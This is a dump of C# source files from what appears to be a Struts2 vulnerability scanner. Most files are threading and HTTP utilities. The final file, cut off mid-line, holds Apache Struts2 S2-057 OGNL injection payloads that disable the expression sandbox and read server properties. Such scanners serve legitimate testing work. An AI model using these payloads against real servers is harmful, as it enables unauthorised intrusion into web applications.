Timeout.Infinite; 12 | 13 | internal static bool WaitAll(WaitHandle[] waitHandles, int millisecondsTimeout, bool exitContext) 14 | { 15 | return WaitHandle.WaitAll(waitHandles, millisecondsTimeout); 16 | } 17 | 18 | internal static int WaitAny(WaitHandle[] waitHandles) 19 | { 20 | return WaitHandle.WaitAny(waitHandles); 21 | } 22 | 23 | internal static int WaitAny(WaitHandle[] waitHandles, int millisecondsTimeout, bool exitContext) 24 | { 25 | return WaitHandle.WaitAny(waitHandles, millisecondsTimeout); 26 | } 27 | 28 | internal static bool WaitOne(WaitHandle waitHandle, int millisecondsTimeout, bool exitContext) 29 | { 30 | return waitHandle.WaitOne(millisecondsTimeout); 31 | } 32 | } 33 | #else 34 | internal static class STPEventWaitHandle 35 | { 36 | public const int WaitTimeout = Timeout.Infinite; 37 | 38 | internal static bool WaitAll(WaitHandle[] waitHandles, int millisecondsTimeout, bool exitContext) 39 | { 40 | return WaitHandle.WaitAll(waitHandles, millisecondsTimeout, exitContext); 41 | } 42 | 43 | internal static int WaitAny(WaitHandle[] waitHandles) 44 | { 45 | return WaitHandle.WaitAny(waitHandles); 46 | } 47 | 48 | internal static int WaitAny(WaitHandle[] waitHandles, int millisecondsTimeout, bool exitContext) 49 | { 50 | return WaitHandle.WaitAny(waitHandles, millisecondsTimeout, exitContext); 51 | } 52 | 53 | internal static bool WaitOne(WaitHandle waitHandle, int millisecondsTimeout, bool exitContext) 54 | { 55 | return waitHandle.WaitOne(millisecondsTimeout, exitContext); 56 | } 57 | } 58 | #endif 59 | 60 | } 61 | 62 | #endif -------------------------------------------------------------------------------- /Test/http/HttpTools.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | using System.Net; 5 | using System.IO; 6 | using System.Net.Sockets; 7 | using System.Text.RegularExpressions; 8 | using System.Threading; 9 | using http; 10 | 11 | namespace tools 12 | { 13 | 14 | class HttpTools 15 | { 16 | public static String getHTMLEncoding(String header){ 17 | 18 | Match m=Regex.Match(header, "charset=\\S{0,8}\""); 19 | if (m.Success) { 20 | return m.Groups[0].Value.Replace("charset=","").Replace("\"",""); 21 | } 22 | return ""; 23 | } 24 | public static String getHtml(String url, int timeout) 25 | { 26 | String html = ""; 27 | HttpWebResponse response = null; 28 | StreamReader sr = null; 29 | HttpWebRequest request = null; 30 | try 31 | { 32 | 33 | //设置模拟http访问参数 34 | Uri uri = new Uri(url); 35 | request = (HttpWebRequest)WebRequest.Create(uri); 36 | request.Accept = "*/*"; 37 | request.Method = "GET"; 38 | request.Timeout = timeout * 1000; 39 | request.AllowAutoRedirect = false; 40 | response = (HttpWebResponse)request.GetResponse(); 41 | sr = new StreamReader(response.GetResponseStream(), Encoding.UTF8); 42 | 43 | //读取服务器端返回的消息 44 | html = sr.ReadToEnd(); 45 | 46 | } 47 | catch (Exception e) 48 | { 49 | Tools.SysLog(e.Message); 50 | } 51 | finally 52 | { 53 | if (sr != null) 54 | { 55 | sr.Close(); 56 | } 57 | if (response != null) 58 | { 59 | response.Close(); 60 | } 61 | if (request != null) 62 | { 63 | request.Abort(); 64 | } 65 | } 66 | return html; 67 | } 68 | 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /Test/http/TimeOutSocket.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Net.Sockets; 4 | using System.Threading; 5 | 6 | namespace http 7 | { 8 | class TimeOutSocket 9 | { 10 | private bool IsConnectionSuccessful = false; 11 | private Exception socketexception =null; 12 | private ManualResetEvent TimeoutObject = new ManualResetEvent(false); 13 | public int useTime = 0; 14 | public TcpClient Connect(String host,int port,int timeoutMSec) 15 | { 16 | Stopwatch sw = new Stopwatch(); 17 | sw.Start(); 18 | TimeoutObject.Reset(); 19 | socketexception = null; 20 | 21 | TcpClient tcpclient = new TcpClient(); 22 | 23 | tcpclient.BeginConnect(host, port,new AsyncCallback(CallBackMethod), tcpclient); 24 | 25 | 26 | if (TimeoutObject.WaitOne(timeoutMSec, false)) 27 | { 28 | if (IsConnectionSuccessful) 29 | { 30 | sw.Stop(); 31 | useTime = (int)sw.ElapsedMilliseconds; 32 | return tcpclient; 33 | } 34 | else 35 | { 36 | throw socketexception; 37 | } 38 | } 39 | else 40 | { 41 | tcpclient.Close(); 42 | throw new TimeoutException("TimeOut Exception"); 43 | } 44 | } 45 | private void CallBackMethod(IAsyncResult asyncresult) 46 | { 47 | try 48 | { 49 | IsConnectionSuccessful = false; 50 | TcpClient tcpclient = asyncresult.AsyncState as TcpClient; 51 | 52 | if (tcpclient.Client != null) 53 | { 54 | tcpclient.EndConnect(asyncresult); 55 | IsConnectionSuccessful = true; 56 | } 57 | } 58 | catch (Exception ex) 59 | { 60 | IsConnectionSuccessful = false; 61 | socketexception = ex; 62 | } 63 | finally 64 | { 65 | TimeoutObject.Set(); 66 | } 67 | } 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /Test/smartthread/SynchronizedDictionary.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace Amib.Threading.Internal 4 | { 5 | internal class SynchronizedDictionary 6 | { 7 | private readonly Dictionary _dictionary; 8 | private readonly object _lock; 9 | 10 | public SynchronizedDictionary() 11 | { 12 | _lock = new object(); 13 | _dictionary = new Dictionary(); 14 | } 15 | 16 | public int Count 17 | { 18 | get { return _dictionary.Count; } 19 | } 20 | 21 | public bool Contains(TKey key) 22 | { 23 | lock (_lock) 24 | { 25 | return _dictionary.ContainsKey(key); 26 | } 27 | } 28 | 29 | public void Remove(TKey key) 30 | { 31 | lock (_lock) 32 | { 33 | _dictionary.Remove(key); 34 | } 35 | } 36 | 37 | public object SyncRoot 38 | { 39 | get { return _lock; } 40 | } 41 | 42 | public TValue this[TKey key] 43 | { 44 | get 45 | { 46 | lock (_lock) 47 | { 48 | return _dictionary[key]; 49 | } 50 | } 51 | set 52 | { 53 | lock (_lock) 54 | { 55 | _dictionary[key] = value; 56 | } 57 | } 58 | } 59 | 60 | public Dictionary.KeyCollection Keys 61 | { 62 | get 63 | { 64 | lock (_lock) 65 | { 66 | return _dictionary.Keys; 67 | } 68 | } 69 | } 70 | 71 | public Dictionary.ValueCollection Values 72 | { 73 | get 74 | { 75 | lock (_lock) 76 | { 77 | return _dictionary.Values; 78 | } 79 | } 80 | } 81 | public void Clear() 82 | { 83 | lock (_lock) 84 | { 85 | _dictionary.Clear(); 86 | } 87 | } 88 | } 89 | } 90 | -------------------------------------------------------------------------------- /Test/smartthread/WorkItemInfo.cs: -------------------------------------------------------------------------------- 1 | namespace Amib.Threading 2 | { 3 | #region WorkItemInfo class 4 | 5 | /// 6 | /// Summary description for WorkItemInfo. 7 | /// 8 | public class WorkItemInfo 9 | { 10 | public WorkItemInfo() 11 | { 12 | UseCallerCallContext = SmartThreadPool.DefaultUseCallerCallContext; 13 | UseCallerHttpContext = SmartThreadPool.DefaultUseCallerHttpContext; 14 | DisposeOfStateObjects = SmartThreadPool.DefaultDisposeOfStateObjects; 15 | CallToPostExecute = SmartThreadPool.DefaultCallToPostExecute; 16 | PostExecuteWorkItemCallback = SmartThreadPool.DefaultPostExecuteWorkItemCallback; 17 | WorkItemPriority = SmartThreadPool.DefaultWorkItemPriority; 18 | } 19 | 20 | public WorkItemInfo(WorkItemInfo workItemInfo) 21 | { 22 | UseCallerCallContext = workItemInfo.UseCallerCallContext; 23 | UseCallerHttpContext = workItemInfo.UseCallerHttpContext; 24 | DisposeOfStateObjects = workItemInfo.DisposeOfStateObjects; 25 | CallToPostExecute = workItemInfo.CallToPostExecute; 26 | PostExecuteWorkItemCallback = workItemInfo.PostExecuteWorkItemCallback; 27 | WorkItemPriority = workItemInfo.WorkItemPriority; 28 | Timeout = workItemInfo.Timeout; 29 | } 30 | 31 | /// 32 | /// Get/Set if to use the caller's security context 33 | /// 34 | public bool UseCallerCallContext { get; set; } 35 | 36 | /// 37 | /// Get/Set if to use the caller's HTTP context 38 | /// 39 | public bool UseCallerHttpContext { get; set; } 40 | 41 | /// 42 | /// Get/Set if to dispose of the state object of a work item 43 | /// 44 | public bool DisposeOfStateObjects { get; set; } 45 | 46 | /// 47 | /// Get/Set the run the post execute options 48 | /// 49 | public CallToPostExecute CallToPostExecute { get; set; } 50 | 51 | /// 52 | /// Get/Set the post execute callback 53 | /// 54 | public PostExecuteWorkItemCallback PostExecuteWorkItemCallback { get; set; } 55 | 56 | /// 57 | /// Get/Set the work item's priority 58 | /// 59 | public WorkItemPriority WorkItemPriority { get; set; } 60 | 61 | /// 62 | /// Get/Set the work item's timout in milliseconds. 63 | /// This is a passive timout. When the timout expires the work item won't be actively aborted! 64 | /// 65 | public long Timeout { get; set; } 66 | } 67 | 68 | #endregion 69 | } 70 | -------------------------------------------------------------------------------- /Test/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // 此代码由工具生成。 4 | // 运行时版本:4.0.30319.42000 5 | // 6 | // 对此文件的更改可能会导致不正确的行为,并且如果 7 | // 重新生成代码,这些更改将会丢失。 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace Test.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// 一个强类型的资源类,用于查找本地化的字符串等。 17 | /// 18 | // 此类是由 StronglyTypedResourceBuilder 19 | // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。 20 | // 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen 21 | // (以 /str 作为命令选项),或重新生成 VS 项目。 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// 返回此类使用的缓存的 ResourceManager 实例。 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Test.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// 使用此强类型资源类,为所有资源查找 51 | /// 重写当前线程的 CurrentUICulture 属性。 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /Test/smartthread/Stopwatch.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace Amib.Threading.Internal 4 | { 5 | /// 6 | /// Stopwatch class 7 | /// Used with WindowsCE and Silverlight which don't have Stopwatch 8 | /// 9 | internal class Stopwatch 10 | { 11 | private long _elapsed; 12 | private bool _isRunning; 13 | private long _startTimeStamp; 14 | 15 | public Stopwatch() 16 | { 17 | Reset(); 18 | } 19 | 20 | private long GetElapsedDateTimeTicks() 21 | { 22 | long rawElapsedTicks = GetRawElapsedTicks(); 23 | return rawElapsedTicks; 24 | } 25 | 26 | private long GetRawElapsedTicks() 27 | { 28 | long elapsed = _elapsed; 29 | if (_isRunning) 30 | { 31 | long ticks = GetTimestamp() - _startTimeStamp; 32 | elapsed += ticks; 33 | } 34 | return elapsed; 35 | } 36 | 37 | public static long GetTimestamp() 38 | { 39 | return DateTime.UtcNow.Ticks; 40 | } 41 | 42 | public void Reset() 43 | { 44 | _elapsed = 0L; 45 | _isRunning = false; 46 | _startTimeStamp = 0L; 47 | } 48 | 49 | public void Start() 50 | { 51 | if (!_isRunning) 52 | { 53 | _startTimeStamp = GetTimestamp(); 54 | _isRunning = true; 55 | } 56 | } 57 | 58 | public static Stopwatch StartNew() 59 | { 60 | Stopwatch stopwatch = new Stopwatch(); 61 | stopwatch.Start(); 62 | return stopwatch; 63 | } 64 | 65 | public void Stop() 66 | { 67 | if (_isRunning) 68 | { 69 | long ticks = GetTimestamp() - _startTimeStamp; 70 | _elapsed += ticks; 71 | _isRunning = false; 72 | } 73 | } 74 | 75 | // Properties 76 | public TimeSpan Elapsed 77 | { 78 | get 79 | { 80 | return new TimeSpan(GetElapsedDateTimeTicks()); 81 | } 82 | } 83 | 84 | public long ElapsedMilliseconds 85 | { 86 | get 87 | { 88 | return (GetElapsedDateTimeTicks() / 0x2710L); 89 | } 90 | } 91 | 92 | public long ElapsedTicks 93 | { 94 | get 95 | { 96 | return GetRawElapsedTicks(); 97 | } 98 | } 99 | 100 | public bool IsRunning 101 | { 102 | get 103 | { 104 | return _isRunning; 105 | } 106 | } 107 | } 108 | } 109 | -------------------------------------------------------------------------------- /Test/smartthread/EventWaitHandleFactory.cs: -------------------------------------------------------------------------------- 1 | using System.Threading; 2 | 3 | #if (_WINDOWS_CE) 4 | using System; 5 | using System.Runtime.InteropServices; 6 | #endif 7 | 8 | namespace Amib.Threading.Internal 9 | { 10 | /// 11 | /// EventWaitHandleFactory class. 12 | /// This is a static class that creates AutoResetEvent and ManualResetEvent objects. 13 | /// In WindowCE the WaitForMultipleObjects API fails to use the Handle property 14 | /// of XxxResetEvent. It can use only handles that were created by the CreateEvent API. 15 | /// Consequently this class creates the needed XxxResetEvent and replaces the handle if 16 | /// it's a WindowsCE OS. 17 | /// 18 | public static class EventWaitHandleFactory 19 | { 20 | /// 21 | /// Create a new AutoResetEvent object 22 | /// 23 | /// Return a new AutoResetEvent object 24 | public static AutoResetEvent CreateAutoResetEvent() 25 | { 26 | AutoResetEvent waitHandle = new AutoResetEvent(false); 27 | 28 | #if (_WINDOWS_CE) 29 | ReplaceEventHandle(waitHandle, false, false); 30 | #endif 31 | 32 | return waitHandle; 33 | } 34 | 35 | /// 36 | /// Create a new ManualResetEvent object 37 | /// 38 | /// Return a new ManualResetEvent object 39 | public static ManualResetEvent CreateManualResetEvent(bool initialState) 40 | { 41 | ManualResetEvent waitHandle = new ManualResetEvent(initialState); 42 | 43 | #if (_WINDOWS_CE) 44 | ReplaceEventHandle(waitHandle, true, initialState); 45 | #endif 46 | 47 | return waitHandle; 48 | } 49 | 50 | #if (_WINDOWS_CE) 51 | 52 | /// 53 | /// Replace the event handle 54 | /// 55 | /// The WaitHandle object which its handle needs to be replaced. 56 | /// Indicates if the event is a ManualResetEvent (true) or an AutoResetEvent (false) 57 | /// The initial state of the event 58 | private static void ReplaceEventHandle(WaitHandle waitHandle, bool manualReset, bool initialState) 59 | { 60 | // Store the old handle 61 | IntPtr oldHandle = waitHandle.Handle; 62 | 63 | // Create a new event 64 | IntPtr newHandle = CreateEvent(IntPtr.Zero, manualReset, initialState, null); 65 | 66 | // Replace the old event with the new event 67 | waitHandle.Handle = newHandle; 68 | 69 | // Close the old event 70 | CloseHandle (oldHandle); 71 | } 72 | 73 | [DllImport("coredll.dll", SetLastError = true)] 74 | public static extern IntPtr CreateEvent(IntPtr lpEventAttributes, bool bManualReset, bool bInitialState, string lpName); 75 | 76 | //Handle 77 | [DllImport("coredll.dll", SetLastError = true)] 78 | public static extern bool CloseHandle(IntPtr hObject); 79 | #endif 80 | 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /Test/URLEncode.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace tools 6 | { 7 | class URLEncode 8 | { 9 | 10 | public static string UrlEncode(string sInput) 11 | { 12 | return UrlEncodeChars(sInput, Encoding.UTF8); 13 | } 14 | public static string UrlEncode(string sInput, Encoding oEnc) 15 | { 16 | return UrlEncodeChars(sInput, oEnc); 17 | } 18 | private static string UrlEncodeChars(string str, Encoding oEnc) 19 | { 20 | if (string.IsNullOrEmpty(str)) 21 | { 22 | return str; 23 | } 24 | StringBuilder stringBuilder = new StringBuilder(); 25 | for (int i = 0; i < str.Length; i++) 26 | { 27 | char c = str[i]; 28 | if ((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9') || c == '-' || c == '@' || c == '.' || c == '_' || c == '!') 29 | { 30 | stringBuilder.Append(c); 31 | } 32 | else 33 | { 34 | byte[] bytes = oEnc.GetBytes(new char[]{c}); 35 | byte[] array = bytes; 36 | for (int j = 0; j < array.Length; j++) 37 | { 38 | byte b = array[j]; 39 | stringBuilder.Append("%"); 40 | stringBuilder.Append(b.ToString("x2").ToUpper()); 41 | } 42 | } 43 | } 44 | return stringBuilder.ToString(); 45 | } 46 | // Fiddler.Utilities 47 | public static string UrlPathEncode(string str) 48 | { 49 | if (string.IsNullOrEmpty(str)) 50 | { 51 | return str; 52 | } 53 | int num = str.IndexOf('?'); 54 | if (num >= 0) 55 | { 56 | return UrlPathEncode(str.Substring(0, num)) + str.Substring(num); 57 | } 58 | return UrlPathEncodeChars(str); 59 | } 60 | 61 | private static string UrlPathEncodeChars(string str) 62 | { 63 | if (string.IsNullOrEmpty(str)) 64 | { 65 | return str; 66 | } 67 | StringBuilder stringBuilder = new StringBuilder(); 68 | for (int i = 0; i < str.Length; i++) 69 | { 70 | char c = str[i]; 71 | if (c > ' ' && c < '\u007f') 72 | { 73 | stringBuilder.Append(c); 74 | } 75 | else 76 | { 77 | if (c < '!') 78 | { 79 | stringBuilder.Append("%"); 80 | stringBuilder.Append(((byte)c).ToString("X2")); 81 | } 82 | else 83 | { 84 | byte[] bytes = Encoding.UTF8.GetBytes(new char[] 85 | { 86 | c 87 | }); 88 | byte[] array = bytes; 89 | for (int j = 0; j < array.Length; j++) 90 | { 91 | byte b = array[j]; 92 | stringBuilder.Append("%"); 93 | stringBuilder.Append(b.ToString("X2")); 94 | } 95 | } 96 | } 97 | } 98 | return stringBuilder.ToString(); 99 | } 100 | } 101 | } 102 | -------------------------------------------------------------------------------- /Test/smartthread/EventWaitHandle.cs: -------------------------------------------------------------------------------- 1 | #if (_WINDOWS_CE) 2 | 3 | using System; 4 | using System.Runtime.InteropServices; 5 | using System.Threading; 6 | 7 | namespace Amib.Threading.Internal 8 | { 9 | /// 10 | /// EventWaitHandle class 11 | /// In WindowsCE this class doesn't exist and I needed the WaitAll and WaitAny implementation. 12 | /// So I wrote this class to implement these two methods with some of their overloads. 13 | /// It uses the WaitForMultipleObjects API to do the WaitAll and WaitAny. 14 | /// Note that this class doesn't even inherit from WaitHandle! 15 | /// 16 | public class STPEventWaitHandle 17 | { 18 | #region Public Constants 19 | 20 | public const int WaitTimeout = Timeout.Infinite; 21 | 22 | #endregion 23 | 24 | #region Private External Constants 25 | 26 | private const Int32 WAIT_FAILED = -1; 27 | private const Int32 WAIT_TIMEOUT = 0x102; 28 | private const UInt32 INFINITE = 0xFFFFFFFF; 29 | 30 | #endregion 31 | 32 | #region WaitAll and WaitAny 33 | 34 | internal static bool WaitOne(WaitHandle waitHandle, int millisecondsTimeout, bool exitContext) 35 | { 36 | return waitHandle.WaitOne(millisecondsTimeout, exitContext); 37 | } 38 | 39 | private static IntPtr[] PrepareNativeHandles(WaitHandle[] waitHandles) 40 | { 41 | IntPtr[] nativeHandles = new IntPtr[waitHandles.Length]; 42 | for (int i = 0; i < waitHandles.Length; i++) 43 | { 44 | nativeHandles[i] = waitHandles[i].Handle; 45 | } 46 | return nativeHandles; 47 | } 48 | 49 | public static bool WaitAll(WaitHandle[] waitHandles, int millisecondsTimeout, bool exitContext) 50 | { 51 | uint timeout = millisecondsTimeout < 0 ? INFINITE : (uint)millisecondsTimeout; 52 | 53 | IntPtr[] nativeHandles = PrepareNativeHandles(waitHandles); 54 | 55 | int result = WaitForMultipleObjects((uint)waitHandles.Length, nativeHandles, true, timeout); 56 | 57 | if (result == WAIT_TIMEOUT || result == WAIT_FAILED) 58 | { 59 | return false; 60 | } 61 | 62 | return true; 63 | } 64 | 65 | 66 | public static int WaitAny(WaitHandle[] waitHandles, int millisecondsTimeout, bool exitContext) 67 | { 68 | uint timeout = millisecondsTimeout < 0 ? INFINITE : (uint)millisecondsTimeout; 69 | 70 | IntPtr[] nativeHandles = PrepareNativeHandles(waitHandles); 71 | 72 | int result = WaitForMultipleObjects((uint)waitHandles.Length, nativeHandles, false, timeout); 73 | 74 | if (result >= 0 && result < waitHandles.Length) 75 | { 76 | return result; 77 | } 78 | 79 | return -1; 80 | } 81 | 82 | public static int WaitAny(WaitHandle[] waitHandles) 83 | { 84 | return WaitAny(waitHandles, Timeout.Infinite, false); 85 | } 86 | 87 | public static int WaitAny(WaitHandle[] waitHandles, TimeSpan timeout, bool exitContext) 88 | { 89 | int millisecondsTimeout = (int)timeout.TotalMilliseconds; 90 | 91 | return WaitAny(waitHandles, millisecondsTimeout, false); 92 | } 93 | 94 | #endregion 95 | 96 | #region External methods 97 | 98 | [DllImport("coredll.dll", SetLastError = true)] 99 | public static extern int WaitForMultipleObjects(uint nCount, IntPtr[] lpHandles, bool fWaitAll, uint dwMilliseconds); 100 | 101 | #endregion 102 | } 103 | } 104 | #endif -------------------------------------------------------------------------------- /Test/smartthread/Exceptions.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | #if !(_WINDOWS_CE) 3 | using System.Runtime.Serialization; 4 | #endif 5 | 6 | namespace Amib.Threading 7 | { 8 | #region Exceptions 9 | 10 | /// 11 | /// Represents an exception in case IWorkItemResult.GetResult has been canceled 12 | /// 13 | public sealed partial class WorkItemCancelException : Exception 14 | { 15 | public WorkItemCancelException() 16 | { 17 | } 18 | 19 | public WorkItemCancelException(string message) 20 | : base(message) 21 | { 22 | } 23 | 24 | public WorkItemCancelException(string message, Exception e) 25 | : base(message, e) 26 | { 27 | } 28 | } 29 | 30 | /// 31 | /// Represents an exception in case IWorkItemResult.GetResult has been timed out 32 | /// 33 | public sealed partial class WorkItemTimeoutException : Exception 34 | { 35 | public WorkItemTimeoutException() 36 | { 37 | } 38 | 39 | public WorkItemTimeoutException(string message) 40 | : base(message) 41 | { 42 | } 43 | 44 | public WorkItemTimeoutException(string message, Exception e) 45 | : base(message, e) 46 | { 47 | } 48 | } 49 | 50 | /// 51 | /// Represents an exception in case IWorkItemResult.GetResult has been timed out 52 | /// 53 | public sealed partial class WorkItemResultException : Exception 54 | { 55 | public WorkItemResultException() 56 | { 57 | } 58 | 59 | public WorkItemResultException(string message) 60 | : base(message) 61 | { 62 | } 63 | 64 | public WorkItemResultException(string message, Exception e) 65 | : base(message, e) 66 | { 67 | } 68 | } 69 | 70 | 71 | /// 72 | /// Represents an exception in case the STP queue is full and work item cannot be queued. 73 | /// Relevant when the STP has a queue size limit 74 | /// 75 | public sealed partial class QueueRejectedException : Exception 76 | { 77 | public QueueRejectedException() 78 | { 79 | } 80 | 81 | public QueueRejectedException(string message) 82 | : base(message) 83 | { 84 | } 85 | 86 | public QueueRejectedException(string message, Exception e) 87 | : base(message, e) 88 | { 89 | } 90 | } 91 | 92 | #if !(_WINDOWS_CE) && !(_SILVERLIGHT) && !(WINDOWS_PHONE) 93 | /// 94 | /// Represents an exception in case IWorkItemResult.GetResult has been canceled 95 | /// 96 | [Serializable] 97 | public sealed partial class WorkItemCancelException 98 | { 99 | public WorkItemCancelException(SerializationInfo si, StreamingContext sc) 100 | : base(si, sc) 101 | { 102 | } 103 | } 104 | 105 | /// 106 | /// Represents an exception in case IWorkItemResult.GetResult has been timed out 107 | /// 108 | [Serializable] 109 | public sealed partial class WorkItemTimeoutException 110 | { 111 | public WorkItemTimeoutException(SerializationInfo si, StreamingContext sc) 112 | : base(si, sc) 113 | { 114 | } 115 | } 116 | 117 | /// 118 | /// Represents an exception in case IWorkItemResult.GetResult has been timed out 119 | /// 120 | [Serializable] 121 | public sealed partial class WorkItemResultException 122 | { 123 | public WorkItemResultException(SerializationInfo si, StreamingContext sc) 124 | : base(si, sc) 125 | { 126 | } 127 | } 128 | 129 | /// 130 | /// Represents an exception in case IWorkItemResult.GetResult has been timed out 131 | /// 132 | [Serializable] 133 | public sealed partial class QueueRejectedException 134 | { 135 | public QueueRejectedException(SerializationInfo si, StreamingContext sc) 136 | : base(si, sc) 137 | { 138 | } 139 | } 140 | 141 | #endif 142 | 143 | #endregion 144 | } 145 | -------------------------------------------------------------------------------- /Test/smartthread/WorkItemResultTWrapper.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Threading; 3 | 4 | namespace Amib.Threading.Internal 5 | { 6 | #region WorkItemResultTWrapper class 7 | 8 | internal class WorkItemResultTWrapper : IWorkItemResult, IInternalWaitableResult 9 | { 10 | private readonly IWorkItemResult _workItemResult; 11 | 12 | public WorkItemResultTWrapper(IWorkItemResult workItemResult) 13 | { 14 | _workItemResult = workItemResult; 15 | } 16 | 17 | #region IWorkItemResult Members 18 | 19 | public TResult GetResult() 20 | { 21 | return (TResult)_workItemResult.GetResult(); 22 | } 23 | 24 | public TResult GetResult(int millisecondsTimeout, bool exitContext) 25 | { 26 | return (TResult)_workItemResult.GetResult(millisecondsTimeout, exitContext); 27 | } 28 | 29 | public TResult GetResult(TimeSpan timeout, bool exitContext) 30 | { 31 | return (TResult)_workItemResult.GetResult(timeout, exitContext); 32 | } 33 | 34 | public TResult GetResult(int millisecondsTimeout, bool exitContext, WaitHandle cancelWaitHandle) 35 | { 36 | return (TResult)_workItemResult.GetResult(millisecondsTimeout, exitContext, cancelWaitHandle); 37 | } 38 | 39 | public TResult GetResult(TimeSpan timeout, bool exitContext, WaitHandle cancelWaitHandle) 40 | { 41 | return (TResult)_workItemResult.GetResult(timeout, exitContext, cancelWaitHandle); 42 | } 43 | 44 | public TResult GetResult(out Exception e) 45 | { 46 | return (TResult)_workItemResult.GetResult(out e); 47 | } 48 | 49 | public TResult GetResult(int millisecondsTimeout, bool exitContext, out Exception e) 50 | { 51 | return (TResult)_workItemResult.GetResult(millisecondsTimeout, exitContext, out e); 52 | } 53 | 54 | public TResult GetResult(TimeSpan timeout, bool exitContext, out Exception e) 55 | { 56 | return (TResult)_workItemResult.GetResult(timeout, exitContext, out e); 57 | } 58 | 59 | public TResult GetResult(int millisecondsTimeout, bool exitContext, WaitHandle cancelWaitHandle, out Exception e) 60 | { 61 | return (TResult)_workItemResult.GetResult(millisecondsTimeout, exitContext, cancelWaitHandle, out e); 62 | } 63 | 64 | public TResult GetResult(TimeSpan timeout, bool exitContext, WaitHandle cancelWaitHandle, out Exception e) 65 | { 66 | return (TResult)_workItemResult.GetResult(timeout, exitContext, cancelWaitHandle, out e); 67 | } 68 | 69 | public bool IsCompleted 70 | { 71 | get { return _workItemResult.IsCompleted; } 72 | } 73 | 74 | public bool IsCanceled 75 | { 76 | get { return _workItemResult.IsCanceled; } 77 | } 78 | 79 | public object State 80 | { 81 | get { return _workItemResult.State; } 82 | } 83 | 84 | public bool Cancel() 85 | { 86 | return _workItemResult.Cancel(); 87 | } 88 | 89 | public bool Cancel(bool abortExecution) 90 | { 91 | return _workItemResult.Cancel(abortExecution); 92 | } 93 | 94 | public WorkItemPriority WorkItemPriority 95 | { 96 | get { return _workItemResult.WorkItemPriority; } 97 | } 98 | 99 | public TResult Result 100 | { 101 | get { return (TResult)_workItemResult.Result; } 102 | } 103 | 104 | public object Exception 105 | { 106 | get { return _workItemResult.Exception; } 107 | } 108 | 109 | #region IInternalWorkItemResult Members 110 | 111 | public IWorkItemResult GetWorkItemResult() 112 | { 113 | return _workItemResult.GetWorkItemResult(); 114 | } 115 | 116 | public IWorkItemResult GetWorkItemResultT() 117 | { 118 | return (IWorkItemResult)this; 119 | } 120 | 121 | #endregion 122 | 123 | #endregion 124 | } 125 | 126 | #endregion 127 | 128 | } 129 | -------------------------------------------------------------------------------- /Test/payload/S2057.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | using System.Web; 5 | 6 | namespace payload 7 | { 8 | public class S2057 : BasePayload 9 | { 10 | private String Exp_Check = "%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.addHeader('eresult','struts2_security_check'))}"; 11 | private String Exp_VerInfo = "%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.addHeader('[vername]',@java.lang.System@getProperty('[vername]')))}"; 12 | private String Exp_Path = 